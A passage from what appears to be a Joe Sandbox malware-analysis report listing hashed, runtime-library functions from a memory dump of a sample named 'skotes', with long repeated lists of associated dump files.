Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 31c85198484025f4403965152fd73431b7ba30c3332f9b72ec9411024fe92a6e
Instruction ID: ae4a8c7a70d74ec8bbd9a0bcbb84b6295206624f699da7ffeaf72a4610fd6d6b
Opcode Fuzzy Hash: 31c85198484025f4403965152fd73431b7ba30c3332f9b72ec9411024fe92a6e
Instruction Fuzzy Hash: 0E51E172601A0AEFDB298F14D885BBA77B5FF10310F14852BE85597391E73AED40CB91

Function 007D4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 007D4C66
TypeidsEqual.LIBVCRUNTIME ref: 007D4C8B
PMDtoOffset.LIBCMT ref: 007D4CA1
PMDtoOffset.LIBCMT ref: 007D4D22

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: a0b6b0283db43200f9e04ccb2ea481300950d2faaa78b518be89ff4b879ead97
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 6A51AA35A042099FCF11CF68C4806EEBBF6FF15354F14449BE991A7351D33AAA05CBA0

Function 007CDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007CDB64

Part of subcall function 007C8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 007C8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 007CDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 007CDBE9
Concurrency::location::_Assign.LIBCMT ref: 007CDC56

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 76421eb540fef6668080b5d27b4e8381b146e9db1d5d3685e4c24aae55fc48a4
Instruction ID: 6364ff6a46a913001e644b988f6c467229c97476185717a10a3876af5ff80aec
Opcode Fuzzy Hash: 76421eb540fef6668080b5d27b4e8381b146e9db1d5d3685e4c24aae55fc48a4
Instruction Fuzzy Hash: 8741C170604214AFDB39AB24C88AFBDBB75AF44310F0480ADE5069B3C2CB78AD45C7E1

Function 007C56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 007C56F2
_InternalDeleteHelper.LIBCONCRT ref: 007C5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 007C578B
SafeRWList.LIBCONCRT ref: 007C579A

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: e631f64acfa282da5df14552841c448b30ab9e564842b49683958c708a758161
Instruction ID: bd05571b9bb6c07ca48b678230c0bec989262422b7db03889ceedf1f42cc0c30
Opcode Fuzzy Hash: e631f64acfa282da5df14552841c448b30ab9e564842b49683958c708a758161
Instruction Fuzzy Hash: 5631FF367016108FDB099B20CC85FA973A6AF88710B18827CE9069B396DF39AC458B90

Function 007C2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 007C2D0F

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 1f366d8ef611e711959f797f9eb2ab04ea4f4e74842571229e5a78d5edd0c787
Instruction ID: 6921537a430c66c535fd1dde5a485215e46d54253d06973e1a6cf9e5852346d2
Opcode Fuzzy Hash: 1f366d8ef611e711959f797f9eb2ab04ea4f4e74842571229e5a78d5edd0c787
Instruction Fuzzy Hash: 49312675A00309EFCF14DF94C8C4BAE7BB9AB54314F1404AED902AB356D738A946DBA0

Function 007D13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007D13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 007D1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 007D147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 007D152A

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
